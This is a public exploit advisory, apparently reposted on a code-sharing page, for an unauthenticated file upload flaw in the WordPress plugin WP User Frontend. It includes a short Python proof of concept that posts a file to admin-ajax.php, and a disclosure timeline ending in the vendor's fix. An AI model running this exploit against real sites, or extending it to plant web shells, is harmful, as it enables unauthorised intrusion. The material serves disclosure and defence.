扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 |
''' * Exploit Title: WordPress WP User Frontend Plugin [Unrestricted File Upload] * Discovery Date: 2016-02-04 * Public Disclosure: 2016-02-08 * Exploit Author: Panagiotis Vagenas * Contact: https://twitter.com/panVagenas * Vendor Homepage: https://wedevs.com * Software Link: https://wordpress.org/plugins/wp-user-frontend * Version: < 2.3.11 * Tested on: WordPress 4.4.2 * Category: WebApps, WordPress Description ----------- WordPress plugin _WP User Frontend_ suffers from an unrestricted file uploade vulnerability. An attacker can exploit the <code>wpuf_file_upload</code> or <code>wpuf_insert_image</code> actions to upload any file which pass the WordPress mime and size checks. The attack does not require any privilege to be performed. The mentioned actions are available to non-privileged users also, thus allowing to anyone uploading files to the web server. PoC --- ''' #!/usr/bin/python3 ################################################################################ # WP User Frontend unrestricted file upload exploit # # Author: Panagiotis Vagenas <pan.vagenas@gmail.com> ################################################################################ import requests import tempfile url = 'http://example.com/wp-admin/admin-ajax.php' postData = { 'action': 'wpuf_file_upload' } file = tempfile.NamedTemporaryFile(mode='a+t', suffix='.jpeg') file.write('A'*32) file.seek(0) files = {'wpuf_file': file} r = requests.post(url, data=postData, files=files) file.close() if r.text != 'error': print('Success!') print(r.text) else: print('error') exit(0) ''' Timeline -------- 1. **2016-02-04**: Vendor notified via support forums in WordPress.org 2. **2016-02-05**: Vendor responded 3. **2016-02-05**: Issue details send to vendor 4. **2016-02-06**: Requested CVE ID 5. **2016-02-06**: Vendor implemented security checks 6. **2016-02-06**: Verified that this exploit is no longer valid 7. **2016-02-08**: Vendor released v2.3.11 which resolves this issue ''' |
体验盒子
